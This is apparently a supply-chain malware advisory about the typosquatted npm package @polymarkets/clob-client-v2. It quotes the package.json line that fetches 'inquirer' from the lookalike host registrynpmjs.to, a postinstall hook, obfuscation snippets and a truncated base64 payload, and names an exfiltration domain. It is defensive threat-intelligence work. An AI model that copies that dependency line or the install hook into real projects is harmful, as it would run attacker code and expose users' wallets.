GCVE-110-OSM-2026-10469

package.json for @polymarkets/clob-client-v2 declares its inquirer dependency as an HTTPS tarball URL on registrynpmjs.to, a lookalike of the real npm registry (registry.npmjs.org): "inquirer": "https://registrynpmjs.to/inquirer-14.0.2.tgz". On npm install, npm fetches and installs whatever tarball that host serves as inquirer into node_modules, so the operator of registrynpmjs.to controls the code that runs via inquirer's install lifecycle and on first require. The package is also published under the scope @polymarkets, a one-character variation of the legitimate Polymarket scope @polymarket, consistent with a typosquat lure whose delivery vector is the redirected dependency. Judge assessment: This looks like a dependency-loader compromise aimed at npm users: the package.json pulls `inquirer` from the external tarball URL `https://registrynpmjs.to/inquirer-14.0.2.tgz`, which bypasses registry trust and lets the remote host supply executable code. The deobfuscated `dist/index.cjs` and `dist/index.js` contain a custom C2/exfil domain `result.nr` plus ten recovered Ethereum addresses, and the obfuscation layer had `iocs-recovered`, which is consistent with payload hiding rather than a normal SDK. The `[inquirer] package.json` postinstall hook (`node build-helper.js`) and the `[inquirer] index.js` obfuscation/dynamic `require(...)` pattern strongly suggest the fetched dependency is the delivery vehicle. Attacker model: a typosquatting/npm supply-chain operator using a lookalike Polymarket package to load and run malicious code on install and then exfiltrate wallet-related data. ENTRY dist/index.cjs (main: dist/index.cjs) - URL-Based Dependency in package.json: ""dependencies": { "@ethersproject/providers": "^5.8.0", "inquirer": "https://reg..." - Install Hook Executes Local JS File in [inquirer] package.json: ""postinstall": "node build-helper.js"" DESTINATION - 11 exfil (custom-c2, ethereumAddresses) - 1 loader (urls) (values recorded in verified_iocs) OBFUSCATION - IOCs Found in Deobfuscated Code in dist/index.cjs - IOCs Found in Deobfuscated Code in dist/index.js - Dynamic Base64 Decoding in dist/index.cjs: "Buffer.from(secret, "base64")" - Dynamic Base64 Decoding in dist/index.js: "Buffer.from(secret, "base64")" - Dynamic Base64 Decoding in [inquirer] index.js: "atob(Q)" - Obfuscation: function to array replacements in [inquirer] index.js - Base64 Encoded Payload in [inquirer] index.js: "'eNpVWFtvG8cV/iuG4MeIVW0/EH2TdbXWtmhRliy/EMPdWe6IuzOr2VmS66JAE+RiSw6UNgmcNAqaBra..." - recovered 1 domains, 10 ethereumAddresses, 1 _domainCandidates from decoded/deobfuscated content PAYLOAD FILES dist/index.cjs (+ dist/index.js)